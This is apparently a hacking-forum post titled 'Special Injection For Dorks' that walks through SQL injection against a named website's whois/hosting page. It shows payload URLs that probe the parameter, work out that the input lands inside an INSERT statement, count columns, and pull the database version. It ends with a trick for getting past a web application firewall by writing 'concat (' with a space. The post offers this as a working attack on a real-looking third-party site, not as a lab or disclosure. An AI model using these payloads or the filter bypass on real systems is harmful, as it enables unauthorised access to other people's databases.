Special Injection For Dorks

i was pretty glad that alot of people solved that.
thats the solution for those who had a little difficulty-
when we check for vuln, we put ' after the parameter, like-
Code:
bitextra.com/whois/hosting.php?nodomain=1'

and we got an error-
[Image: QsRYlbw.png]
near 'domain','0','Unknown Domain Name','U')'

when we see all these commas, we understand its not regualr injection.
it can be two things:
* select statement with multiple conditions (like in()).
* the injection point is inside update / insert into statement.

we can verify that by closing the (), and learn from the error we get.
Code:
bitextra.com/whois/hosting.php?nodomain=1')-- -

[Image: q9wBkov.png]

"Column count doesn't match value count at row 1" is an error that uppears during wrong use of INSERT INTO statement.
example-
Code:
INSERT INTO cars (id,model,color) VALUES (1,2010);

the number of values dosent match the number of columns, so we got that error.
its like error 1222 in SELECT statement.
Spoiler (Click to View)

so now we understood we're injecting inside insert into, but how to exploit it?
well, healty logic says that the values are returned as the data we see on the page.
lets find out what columns we can use.
first we gotta count the columns, and we can do it by sight.
lets insert some wrong value.
Code:
bitextra.com/whois/hosting.php?nodomain=1'aaa
aaa','domain','0','Unknown Domain Name','U')
4 commas, so 5 columns.
Code:
bitextra.com/whois/hosting.php?nodomain=1111',222,333,444,555)-- -

[Image: 3pb5mdc.png]

column #4 on the page, and column #3 (total price: 333).

lets inject in 4.
so we can see the column on the screen, now its regular injection.
i asked for version and name, and that would be-
Code:
concat(version(),' : mycoolname')
so-
Code:
http://bitextra.com/whois/hosting.php?nodomain=1111',222,333,concat(version(),' : mycoolname'),555)-- -

Not Acceptable!

oh no Sad
waf that blocks "concat(", but not "concat (".
Code:
http://bitextra.com/whois/hosting.php?nodomain=1111',222,333,concat (version(),' : mycoolname'),555)-- -